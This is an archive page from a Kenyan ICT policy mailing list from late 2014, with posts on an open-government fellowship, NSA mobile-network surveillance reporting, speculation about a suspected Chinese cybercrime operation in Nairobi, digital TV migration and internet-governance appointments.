attend local and international events, access to workspace in *Code for Africa* affiliate civic technology labs across the continent, and technology support from *Code for Africa* developers and data analysts. Fellows will also be able to tap into *Open Knowledge*’s School of Data <http://schoolofdata.org/> networks and resource kits, and its global network of specialist communities <https://okfn.org/get-involved/working-groups/>, as well as *Code for Africa* affiliate communities such as Hacks/Hackers <https://www.facebook.com/HacksHackersAfrica>. The deadline for applications is 15 December 2014. The fellowships are scheduled to start in February 2015 and run until July 2015. So, who qualifies for the fellowship? The initiative is a pilot, and is therefore casting the net as wide as possible. Applicants should: - Currently be engaged in the open government and/or related communities . We are looking to support individuals already actively participating in the open government community - Be able to point to examples of their work in the civic data or civic technology space, or work in open data or open government communities - Understand the role of civil society and citizen based organisations in bringing about positive change through advocacy and campaigning - Understand the role and importance of monitoring government commitments to open data as well as other open government policy related issues - Have facilitation skills and enjoy community-building (both online and offline) - Be eager to learn from and be connected with an international community of open government experts, advocates and campaigners - Currently live and work in Africa. Due to limited resources and our desire to develop a focused and impactful pilot programme, we are limiting applications to those currently living and working in Africa. We hope to expand the programme to the rest of the world in 2015. The fellowship will initially be limited to African countries where either *Code for Africa* or *Open Knowledg*e have extensive resources or deep partnerships. Applicants should therefore be based in one of the following countries: *Angola, Burkina Faso, Cameroon, Ghana, Kenya, Morocco, Mozambique,* *Mauritius**, Namibia, Nigeria, Rwanda, South Africa, Senegal, Tunisia, Tanzania,* and *Uganda*. We hope to expand the initiative to include additional countries later in 2015. The selection committee will pay particular attention to applicants’ *current engagement in the open government movement* at local, national and/or international level. The committee will also be interested in applicants’ ideas around proposed strategic partnerships and pilot projects for their fellowships. Neither *Code for Africa* nor *Open Knowledge* are being prescriptive about the proposed focus or scope for projects, but will prefer projects that demonstrate clear visions with tangible outputs. This could include fellows working with a specific government department or agency to make a key dataset available. It could also include helping communities use available data, or organising a series of events addressing a specific topic or challenge citizens are currently facing. Successful candidates will commit to work on their fellowship activities a minimum of six days a month, including attending online and offline training, organising events, and being an active member both *Open Knowledge* and *Code for Africa* communities. While the pilot fellowships are limited to 16 countries initially, we are exploring ways to expand it to other regions. Get in touch if you would like to work with us to do so. *Convinced?* *Apply now to become a Open Government Fellow**. The application is available* *here* <https://docs.google.com/forms/d/16keAH2ygafUN2jcIYm_k1agv6QIQCGfOJ_6oU46X1k…>*. If you are more comfortable submitting your application in French or Portuguese, you will find it in* *French here* <https://docs.google.com/forms/d/1YTPYIWUrnJcUUIbPs9rgDOFih09xNOw04u4YYUr6_j…> *and in* *Portuguese here* <https://docs.google.com/forms/d/1r4L-90VLUIrGXyWJicix-FDZsQ0ElAZtxvegmgcD3c…>*. The deadline is 15 December 2014 and the programme will start in February 2015.* -- -- Best Regards, *Ephraim Percy Kenyanito* Website: http://about.me/ekenyanito tel: (+254)-786-191-930 / (+254)-751-804-120 @ekenyanito Skype: ekenyanito PGP: E6BA8DC1

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Snowden files show NSA's AURORAGOLD pwned 70% of world's mobile networks
by S.M. Muraya 06 Dec '14

06 Dec '14

Thinking about the Safaricom Surveillance system... http://www.theregister.co.uk/2014/12/04/snowden_files_show_nsas_auroragold_… Snowden files show NSA's AURORAGOLD pwned 70% of world's mobile networksBrits and Yanks snoop on security standards bods By Iain Thomson <http://www.theregister.co.uk/Author/2395>, 4 Dec 2014 The NSA, and its British counterpart GCHQ, spied on innocent telco employees and standards bodies to tap into mobile phone networks worldwide, according to the latest leak from the Edward Snowden archive. The mobile tapping system, dubbed AURORAGOLD, successfully cracked 701 of an estimated 985 cellular networks worldwide, according to the leaked NSA presentation released by The Intercept <https://firstlook.org/theintercept/2014/12/04/nsa-auroragold-hack-cellphone…> . This was done by snooping on the private communications of key workers within the industry to capture technical documentation and encryption keys that allowed the agency access to mobile calls. Between November 2011 to April 2012, computers used by somewhere between 363 and 1,354 staff were infiltrated to get the data the NSA required. AURORAGOLD is managed by the NSA's Wireless Portfolio Management Office, and the agency appears to have cracked more advanced forms of encryption used on the networks – sometimes even before it was rolled out for commercial use. The encryption is supposed to prevent eavesdroppers from listening to private phone conversations. It was assumed intelligence agencies can break the widely used A5/1 <http://en.wikipedia.org/wiki/A5/1> algorithm; now we know GCHQ and the NSA have been working on cracking <https://firstlook.org/theintercept/document/2014/12/04/wolframite-encryptio…> the supposedly stronger A5/3 <http://www.theregister.co.uk/2010/01/13/gsm_crypto_crack/> used in 3G. For that, the Brits needed a £4m system to attack the cipher by 2012. Spies do spying, of course. And to do this, the NSA's Target Technology Trends Center (TTTC) works within standard bodies like the GSM Association to get advanced copies of new security protocols so that it can work out how to break them ahead of deployment. The TTTC even has a nifty little logo of a telescope on a world map and a slogan stating "Predict – Plan – Prevent." The documents <https://firstlook.org/theintercept/documents/> state GSMA members were specifically targeted <https://prod01-cdn02.cdn.firstlook.org/wp-uploads/sites/1/2014/12/working-g…> for surveillance, but doesn't state explicitly that the intelligence community has actively tried to introduce vulnerabilities into standards so that it would have easier access. "There's nothing in here that suggests that the NSA has been actively trying to subvert standards from within," said security guru Bruce Schneier. "In fact, it would be pretty difficult to do so. I suspect they are just sitting back and watching others make mistakes, and then exploiting them." The GSMA declined to comment on the latest Snowden leaks, saying that it would have to consult with its lawyer before making any statement, according to its spokeswomen Claire Cranton. "If there is something there that is illegal then they will take it up with the police," she said. Subverting standards from within is certainly within the NSA's playbook. Earlier Snowden leaks suggest <http://www.theregister.co.uk/2013/12/21/nsa_paid_rsa_10_million/> RSA was paid $10m to use, by default in its software, the dodgy Dual EC DRBG algorithm the agency introduced <http://www.theregister.co.uk/2014/07/14/nist_looks_to_nip_overdependance_on…> via the US National Institute of Standards and Technology. RSA has consistently denied claims it promoted weak security, and no longer uses Dual EC DRBG in its products. "NSA collects only those communications that it is authorized by law to collect in response to valid foreign intelligence and counterintelligence requirements - regardless of the technical means used by foreign targets, or the means by which those targets attempt to hide their communications," said the NSA in a statement. ®

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Fwd: [Security Forum] Fwd: Cyber Warfare on Kenya or Random Chinese
by Gichuki John Chuksjonia 06 Dec '14

06 Dec '14

Lemmie patch up this discussion to the other main mail list, for awareness. ---------- Forwarded message ---------- From: BRIGHT GAMELI via Security <security(a)lists.my.co.ke> Date: Thu, 4 Dec 2014 16:26:26 +0900 Subject: Re: [Security Forum] Fwd: Cyber Warfare on Kenya or Random Chinese To: fredrick Wahome <frewah85(a)gmail.com>, "Security Forum All information security discussions in Africa are done here (Hacking, Decryptions, Security management, physical security, Disastor Recovery, Security Assessments etc etc)" <security(a)lists.my.co.ke> Lets take a look at the strategic positions where these guys are located. Well even not much information has been release, a good yagi antenna can go really far as an example. I also think the story will just die down and we will never hear about it again. The government however will need to speed up forensics of these servers and all to know what kind of activities were being carried around. But again, I highly doubt we will get to know the details. Another good read here http://www.kahawatungu.com/2014/09/06/chinese-hackers-embarassed-uhuru-usa/ Lets not turn a blind eye to all these before it is too late. ~ze3D~ On Thu, Dec 4, 2014 at 3:54 PM, fredrick Wahome via Security < security(a)lists.my.co.ke> wrote: > The reason why the government will not allow media into the rooms to > capture the real setups....This will be just forgotten as Kanyaris issue. > It must be a big operational group with safe havens spread across the > country. How I wish the digital government would invest in cyber > intelligence. But for now this will remain just a wish... > > On Thu, Dec 4, 2014 at 9:45 AM, John Doe. <agikabia(a)gmail.com> wrote: > >> As someone commented earlier,most guys on this list have equipments >> running in their homes as well. >> The information being provided is really not clear on what they were >> doing. >> Most likely as fredrick has said and i tend to agree,this guys were >> actually up to no good. >> The question that begs is this. >> Since our government turned to the East for Financial Support.loans >> etc...do you really think China will allow these guys to be placed behind >> bars in kenya? >> Most likely this story will go quiet and not be remembered. >> I just tend to imagine how many other places may be in operation in >> kenya and even being run by other nationalities. >> >> Regards >> Antony >> >> On Thu, Dec 4, 2014 at 9:33 AM, fredrick Wahome via Security < >> security(a)lists.my.co.ke> wrote: >> >>> I have every reason to believe this is a cyber espionage by these >>> Chinese guys. Peeped into some conversation on IRC with some blackhats in >>> 2012 and they mentioned something like Chinese CyberSpy ring operating in >>> Nairobi. However they are spying all over Africa with Runda being one of >>> their safe house. But as obvious if you try to alert the government the >>> Ruaraka boys will actually start investigating you >>> >>> On Thu, Dec 4, 2014 at 9:08 AM, Adam Nelson via Security < >>> security(a)lists.my.co.ke> wrote: >>> >>>> The reporting and statements by GoK are still too vague to understand >>>> what actually happened. Half the people on this list have network >>>> equipment and servers in their house. And if you were running a serious >>>> cybercrime syndicate in a house, you don't need dozens of people to do it. >>>> >>>> -- >>>> Kili - Cloud for Africa: kili.io >>>> Musings: twitter.com/varud <https://twitter.com/varud> >>>> More Musings: varud.com >>>> About Adam: www.linkedin.com/in/adamcnelson >>>> >>>> On Thu, Dec 4, 2014 at 7:25 AM, Mark Kipyegon via Security < >>>> security(a)lists.my.co.ke> wrote: >>>> >>>>> A more recent news report now claims the group is being charged in >>>>> court with illegally operating a radio station. The same report then links >>>>> this "cyber-crime command centre" to hacking facebook accounts, mpesa >>>>> fraud, card theft and bizarrely, "Police said the Chinese were preparing to >>>>> raid the country's communication systems". >>>>> >>>>> Would anyone have more usable information on this? >>>>> >>>>> -- >>>>> Mark. >>>>> >>>>> On 2 Dec 2014, at 14:20, "Almerindo Graziano via Security" < >>>>> security(a)lists.my.co.ke> wrote: >>>>> >>>>> the entire country is welcoming supplies and services from China >>>>> across the ENTIRE critical infrastructure..That worries me more in terms of >>>>> cyber warfare. No need of backdoor when you are let in through the front >>>>> door :-) >>>>> >>>>> Hence I seriously doubt the news is related to cyber warfare >>>>> Al >>>>> >>>>> On 02/12/2014 14:07, Adam Nelson via Security wrote: >>>>> >>>>> And it might just be that these guys are working on an oilfield in >>>>> Turkana and have VHF radios and Runda is their HQ and they simply didn't >>>>> have the correct visas. >>>>> >>>>> >>>>> -- >>>>> Kili - Cloud for Africa: kili.io >>>>> Musings: twitter.com/varud <https://twitter.com/varud> >>>>> More Musings: varud.com >>>>> About Adam: www.linkedin.com/in/adamcnelson >>>>> >>>>> On Tue, Dec 2, 2014 at 1:30 PM, Robin Wood via Security < >>>>> security(a)lists.my.co.ke> wrote: >>>>> >>>>>> On 2 December 2014 at 10:28, Gichuki John Chuksjonia via Security >>>>>> <security(a)lists.my.co.ke> wrote: >>>>>> > Cyber Warfare is real >>>>>> >>>>>> I would agree that Cyber Warefare is real but would say that this is >>>>>> possibly more like normal criminality than warfare. >>>>>> >>>>>> Robin >>>>>> >>>>>> >>>>>> > ---------- Forwarded message ---------- >>>>>> > From: BRIGHT GAMELI via Security <security(a)lists.my.co.ke> >>>>>> > Date: Tue, 2 Dec 2014 17:57:00 +0900 >>>>>> > Subject: [Security Forum] Cyber Warfare on Kenya or Random Chinese >>>>>> > To: "Security Forum All information security discussions in Africa >>>>>> are >>>>>> > done here (Hacking, Decryptions, Security management, physical >>>>>> > security, Disastor Recovery, Security Assessments etc etc)" >>>>>> > <security(a)lists.my.co.ke> >>>>>> > >>>>>> > Should we start to say Cyber Warfare is real on Kenya or just brush >>>>>> this >>>>>> > off as another random happenings in Runda. >>>>>> > >>>>>> > >>>>>> > >>>>>> http://www.trending.co.ke/police-arrest-36-chinese-natio-852390307.html >>>>>> > >>>>>> > ~ze3D~ >>>>>> > >>>>>> > >>>>>> > >>>>>> > -- >>>>>> > -- >>>>>> > Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P >>>>>> > I.T Security Analyst and Penetration Tester >>>>>> > jgichuki at inbox d0t com >>>>>> > >>>>>> > {FORUM}http://lists.my.co.ke/pipermail/security/ >>>>>> > http://chuksjonia.blogspot.com/ >>>>>> > >>>>>> > _______________________________________________ >>>>>> > Security mailing list >>>>>> > Security(a)lists.my.co.ke >>>>>> > http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>>>> >>>>>> _______________________________________________ >>>>>> Security mailing list >>>>>> Security(a)lists.my.co.ke >>>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>>>> >>>>> >>>>> >>>>> >>>>> _______________________________________________ >>>>> Security mailing listSecurity@lists.my.co.kehttp://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>>> >>>>> >>>>> _______________________________________________ >>>>> Security mailing list >>>>> Security(a)lists.my.co.ke >>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>>> >>>>> >>>>> _______________________________________________ >>>>> Security mailing list >>>>> Security(a)lists.my.co.ke >>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>>> >>>> >>>> >>>> _______________________________________________ >>>> Security mailing list >>>> Security(a)lists.my.co.ke >>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >>>> >>> >>> >>> >>> -- >>> Kind Regards; >>> >>> ------------------------------------------ >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> *Fredrick Wahome Ndung'uTeam LeaderSecunets TechnologiesWebsite: >>> www.secunets.co.ke <http://www.secunets.com>Cell: +254725264890 >>> <%2B254725264890>Email: fred(a)secunets.co.ke <fred(a)secunets.com>Experts in: >>> Web 2.0 Applications, Domain Registration, Web Hosting, Information >>> Security, Linux Applications, Computer Forensic & I.C.T Consultancy."Secure >>> Business Technology"* >>> >>> >>> ------------------------------------------------------------------------------- >>> *SECUNETS TECHNOLOGIES DISCLAIMER:* >>> >>> This email message and any file(s) transmitted with it is intended >>> solely for the individual or entity to whom it is addressed and may contain >>> confidential and/or legally privileged information which confidentiality >>> and/or privilege is not lost or waived by reason of mistaken transmission. >>> If you have received this message by error you are not authorized to view >>> disseminate distribute or copy the message without the written consent of >>> Secunets Technologies and are requested to contact the sender by telephone >>> or e-mail and destroy the original. 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Digital Migration stride as StarTimesKenya and GoTvKenya significantly drop in STB pricing
by Consumers Federation of Kenya (COFEK) 05 Dec '14

05 Dec '14

Dear Listers, We are pleased to update you as follows; 1. GoTvKenya has lowered their pay-tv decoders to Sh1,799 and a 2 months free access ahead of the December 31, 2014 digital migration for Nairobi . http://www.cofek.co.ke/index.php/14-news/899-startimeskenya-announces-major- drop-in-the-cost-of-set-top-boxes-as-digitalmigration-beckons 2. StarTimes has lowered its pay-tv decoder to Sh199 and monthly subscription to Sh149 for the lowest bouquet . http://www.cofek.co.ke/index.php/14-news/897-gotvkenya-drops-decoder-pricing -to-sh1-799-from-sh3-399-as-digital-migration-finally-gathers-storm >From next week, we will commence various consumer sensitization forums with different partners. We request those of you with IEC material on digital migration - especially various case studies, across the world, to share with us asap. Thank you. Kind regards, David Kedode www.cofek.co.ke

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Re: [kictanet] [Security Forum] Fwd: Cyber Warfare on Kenya or Random Chinese
by Adam Nelson 04 Dec '14

04 Dec '14

And it might just be that these guys are working on an oilfield in Turkana and have VHF radios and Runda is their HQ and they simply didn't have the correct visas. -- Kili - Cloud for Africa: kili.io Musings: twitter.com/varud <https://twitter.com/varud> More Musings: varud.com About Adam: www.linkedin.com/in/adamcnelson On Tue, Dec 2, 2014 at 1:30 PM, Robin Wood via Security < security(a)lists.my.co.ke> wrote: > On 2 December 2014 at 10:28, Gichuki John Chuksjonia via Security > <security(a)lists.my.co.ke> wrote: > > Cyber Warfare is real > > I would agree that Cyber Warefare is real but would say that this is > possibly more like normal criminality than warfare. > > Robin > > > > ---------- Forwarded message ---------- > > From: BRIGHT GAMELI via Security <security(a)lists.my.co.ke> > > Date: Tue, 2 Dec 2014 17:57:00 +0900 > > Subject: [Security Forum] Cyber Warfare on Kenya or Random Chinese > > To: "Security Forum All information security discussions in Africa are > > done here (Hacking, Decryptions, Security management, physical > > security, Disastor Recovery, Security Assessments etc etc)" > > <security(a)lists.my.co.ke> > > > > Should we start to say Cyber Warfare is real on Kenya or just brush this > > off as another random happenings in Runda. > > > > > > http://www.trending.co.ke/police-arrest-36-chinese-natio-852390307.html > > > > ~ze3D~ > > > > > > > > -- > > -- > > Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P > > I.T Security Analyst and Penetration Tester > > jgichuki at inbox d0t com > > > > {FORUM}http://lists.my.co.ke/pipermail/security/ > > http://chuksjonia.blogspot.com/ > > > > _______________________________________________ > > Security mailing list > > Security(a)lists.my.co.ke > > http://lists.my.co.ke/cgi-bin/mailman/listinfo/security > > _______________________________________________ > Security mailing list > Security(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/security >

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LIST OF ISPs in KENYA
by Bernard Kioko 03 Dec '14

03 Dec '14

Hi, Anyone here with a link to the list of CAK licensed Internet Service Providers (ISP). I have searched the CA website I cant seem to find the list. Highly appreciate your urgently response. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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DIGITAL PIRACY IN NUMBERS / ECONOMIC IMPACT
by Bernard Kioko 03 Dec '14

03 Dec '14

Hi, Another request, I am looking for a report if any exists, that will show the impact of digital piracy on music or generally intellectual property in Kenya. Kindly point me to the right direction if you know. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] LIST OF ISPs in KENYA
by Bernard Kioko 03 Dec '14

03 Dec '14

Thank you Timothy, Regards From: Gimode, Timothy [mailto:gimode@ca.go.ke] Sent: Wednesday, December 03, 2014 1:45 PM To: Bernard Kioko; info; KICTAnet ICT Policy Discussions Subject: RE: LIST OF ISPs in KENYA Dear Kioko, The list is vailable via http://www.ca.go.ke/images/downloads/TELECOMMUNICATION/LicenseeRegister/Regi ster%20of%20%20ULF%20Licencees%20-%20June%202014.pdf Also attached. Kind Regards, Chiimbiru Gimode Asst. Communications Officer | Consumer and Public Affairs Description: Description: http://digital.scanad.com/casignature/img/logo.png Tel: +254 20 4242000/524 Mobile: +254 703 042524/ +254 730172524 P.O. Box 14448 Nairobi 00800 Description: Description: http://digital.scanad.com/casignature/img/mail.pnggimode <mailto:gimode@ca.go.ke> @ca.go.ke <https://www.facebook.com/CAOKenya?ref=hl> Description: Description: http://digital.scanad.com/casignature/img/facebook.pngCommunications Authority of Kenya <https://twitter.com/CA_Kenya> Description: Description: http://digital.scanad.com/casignature/img/twitter.pngca_kenya <http://www.ca.go.ke/> Description: Description: http://digital.scanad.com/casignature/img/web.pngwww.ca.go.ke Description: Description: http://digital.scanad.com/casignature/img/border.png Disclaimer: This email and any files transmitted with it are confidential and intended solely for the use by the individual(s) or entity to whom it is addressed to. If you are not the intended recipient, you are notified that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited. Additionally, if you have received this email in error please notify the sender immediately by a reply e-mail. Description: Description: http://digital.scanad.com/casignature/img/green.jpeg From: Bernard Kioko [mailto:bkioko@bernsoft.com] Sent: 03 December 2014 13:41 To: info; KICTAnet ICT Policy Discussions Subject: LIST OF ISPs in KENYA Hi, Anyone here with a link to the list of CAK licensed Internet Service Providers (ISP). I have searched the CA website I cant seem to find the list. Highly appreciate your urgently response. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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South Africa's Integrated ICT policy
by Mwendwa Kivuva 03 Dec '14

03 Dec '14

South Africa is developing a holistic integrated ICT Policy framework. I had an opportunity to scan through it and I must admit it's scope is broad and admirable. It would be great if those in policy in Kenya can look at it for purposes of bench-marking with our policies. The document covers broad topics ranging from Net Neutrality, Universal Access, Cross border flow of information, Intermediary liabilities, digital terrestrial television, research development and innovation, and institutional framework. Its Interesting to note that South Africa has been disbursing Universal Service funds from way back as 1998, while in Kenya we are dilly dallying and pulling in different directions. Two key Internet governance topics which are missing in Kenya's legislative framework are discussed viz Intermediary Liabilities and Net Neutrality. The document notes that intermediaries have limited liability if they are a member of an industry representative body recognised by the Minister, they conduct their operations in an automatic manner, adhere to the industry body's code of conduct and respond to court orders and take-down notices. On Net neutrality: Stakeholders that proposed a net neutrality policy raised concerns that if the policy framework does not enforce this, broadband providers might act as gatekeepers of content and use their last mile infrastructure to block internet applications, content (websites, services, protocols) and competitors by, for example, using deep packet inspection to discriminate between over the top content, services or applications It's interesting to note that SA also discusses International Internet Governance and their role in ICANN, AFRINIC, and ITU. On Internet Governance: South Africa's BRICS partners have in the last two years repeatedly reinforced the need for governance to be brought in line with the WSIS Tuna Agenda and have called for an enhanced role for governments within ICANN. ... One of the other weaknesses in the current ICANN multi-stakeholder model is the lack of clarity regarding the definition of multi-stakeholders and the process of accepting such stakeholders in ICANN structures. Most of the exiting stakeholders are moreover largely from the developed economies, with Africa and other developing regions having little meaningful participation. Attached is the document. ______________________ Mwendwa Kivuva, Nairobi, Kenya L: https://www.linkedin.com/in/lordmwesh B: http://lord.me.ke/ T: twitter.com/lordmwesh "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Fwd: Election to the NRO-NC/ASO-AC
by Adam Nelson 03 Dec '14

03 Dec '14

Congratulations to Douglas Onyango on being appointed to the NRO-NC (i.e. the recommendation body of the 5 regional Internet registries (RIRs) to ICANN)! ---------- Forwarded message ---------- From: AFRINIC Communication <comm-announce(a)afrinic.net> Date: Tue, Dec 2, 2014 at 2:52 PM Subject: Election to the NRO-NC/ASO-AC To: members(a)afrinic.net Dear Colleagues, We are pleased to inform you that, following the election that took place during the AFRINIC-21 Meeting in Mauritius, Mr. Douglas Onyango has been elected to represent AFRINIC's service region in the Number Resource Organization's Name Council - NRO-NC (also known as the ICANN ASO-AC: ICANN Address Supporting Organization's Address Council). Our congratulations to Douglas and we wish him success for his new mandate. Thanks, AFRINIC Communication _______________________________________________ AfriNIC - The internet numbers registry for Africa

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Fwd: [Security Forum] Cyber Warfare on Kenya or Random Chinese
by Gichuki John Chuksjonia 02 Dec '14

02 Dec '14

Cyber Warfare is real ---------- Forwarded message ---------- From: BRIGHT GAMELI via Security <security(a)lists.my.co.ke> Date: Tue, 2 Dec 2014 17:57:00 +0900 Subject: [Security Forum] Cyber Warfare on Kenya or Random Chinese To: "Security Forum All information security discussions in Africa are done here (Hacking, Decryptions, Security management, physical security, Disastor Recovery, Security Assessments etc etc)" <security(a)lists.my.co.ke> Should we start to say Cyber Warfare is real on Kenya or just brush this off as another random happenings in Runda. http://www.trending.co.ke/police-arrest-36-chinese-natio-852390307.html ~ze3D~ -- -- Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P I.T Security Analyst and Penetration Tester jgichuki at inbox d0t com {FORUM}http://lists.my.co.ke/pipermail/security/ http://chuksjonia.blogspot.com/

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Local media get digital TV signal distribution licence
by Dennis Kioko 29 Nov '14

29 Nov '14

http://mobile.nation.co.ke/news/Local-media-get-digital-TV-licence/-/195094… Interesting development, while this guarantees local media houses independence in signal distribution, it will however cost them capital in setting up at a time when they are competing with deep pocketed StarTimes, who also have the advantage of a Nigeria to Kenya to South Africa scale. There's also small players, like our own Robert Yawe who may focus on niches such as construction and property. Content, it appears, will be the new media war. Perhaps, revenues may drop at the big boys, alongside salaries, though there will be more jobs overall in the sector and a wider distribution of revenue. Game on.

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Fw: [afnog] CRISP - AfriNIC Representatives Selected + the ITU appointment
by Walubengo J 28 Nov '14

28 Nov '14

Listers, Our very own Mwendwa Kivuva (aka @LordMwesh) has been appointed to represent Africa in the ongoing international negotiations regarding the governance of IP (internet protocol) resources. Join me in congratulating him on this important appointment. Am sure he will look out for the African as well as the Kenyan interests :-) Meanwhile, on a parallel note - at the ITU, we must also congratulate Mr. Stanley K. Kibe, the Communication Authority’s Director, Frequency Spectrum Management, who received an overwhelming endorsement for his bid as chair of the Radio Regulations Board with 163 out of the 167 votes cast. READ: http://www.ca.go.ke/index.php/what-we-do/94-news/272-kenya-retains-spot-in-… This, I believe is how Kenya should roll. Place our eggs in every basket :-) walu. --- On Thu, 11/13/14, Sunday Folayan <sfolayan(a)gmail.com> wrote: > From: Sunday Folayan <sfolayan(a)gmail.com> > Subject: [afnog] CRISP - AfriNIC Representatives Selected > To: ianaoversight(a)afrinic.net > Cc: afrinic-announce(a)afrinic.net, "rpd >> AfriNIC Resource Policy" <rpd(a)afrinic.net>, "afnog" <afnog(a)afnog.org> > Date: Thursday, November 13, 2014, 10:04 PM > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Dear Colleagues, > > We are pleased to announce that the Consolidated RIR IANA > Stewardship > Proposal (CRISP) Team has been chosen for the AFRINIC > Region. > > The 2 voting members that will represent our community on > the team are: > > 1. Alan P. Barrett > 2. Mwenda Kivuva > > The AFRINIC staff member joining them will be Ernest > Byaruhanga > > Congratulations. > > The CRISP team will be responsible for developing a > consolidated > proposal on behalf of the Internet numbering community. This > proposal > will include the outcome of discussions that took place in > the five > RIR communities and will be submitted to the IANA > Stewardship > Transition Coordination Group (ICG) by 15 January 2015. > > For more information on the role of the CRISP Team, please > visit: > https://www.nro.net/news/iana-stewardship-consolidated-rir-iana-stewardship… > > For more information on the IANA Oversight Transition, > visit: > https://www.nro.net/nro-and-internet-governance/iana-oversight > http://www.afrinic.net/en/community/iana-oversight-transition > > Kind Regards. > > Sunday A. Folayan > Vice Chair, > AfriNIC Board > > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.11 (GNU/Linux) > > iQEcBAEBAgAGBQJUZQCwAAoJEH6UvSz6fA25ApcH/0Isd0MrjlmJcWpeRzdt5d4h > 4CLxSsbNmuASBKN2u084zTjwEafhxVnz5PelFe3aRoeIgFpQOZgpdt0P1l7I6l4w > M+gEaRjHLuAOGQgb3DtbA5K6LDp4Sdo4sR7QiA5t2q67LzdEGCI+aWHdvUr67vHd > 8NyZGPI4TYss3xtg2tOTVJkeevpPWjCeUVfGcBDFCIMx0yFiHvTvjFgKnK42kKob > 6kx1NHVYzgvwP4D+E9L/5W8Zh2EIh82lOnfvZrFwdl/k8S7gSIXW2l5LGMa3TFSt > BEfLveSIYSikCJsOdrGJkkxKoQJCXzloUeUyGPlPK9TkIMFsc2eROptyN+nBE5U= > =szfy > -----END PGP SIGNATURE----- > > _______________________________________________ > afnog mailing list > http://afnog.org/mailman/listinfo/afnog >

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UK parliamentary committee on Social media sites: terms & conditions, Privacy
by Gideon 28 Nov '14

28 Nov '14

Social media sites must simplify their terms, UK parliamentary committee says Social media sites should drastically simplify their terms and conditions, according to a new report <http://www.parliament.uk/business/committees/committees-a-z/commons-select/…> from the UK parliament’s Science and Technology Committee. Running the risk of stating the obvious, MPs say the complexity of the terms and conditions means many users aren’t fully aware of how their data can be used. Read further http://thenextweb.com/apps/2014/11/28/uk-parliamentary-committee-says-socia… Regards Gideon Rop DotConnectAfrica

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Re: [kictanet] [Skunkworks] Bitcoin Meetup: Topic Buy/Trade/Store BTC @iHub Monday 1st December 5:30 PM
by Paul Roy 26 Nov '14

26 Nov '14

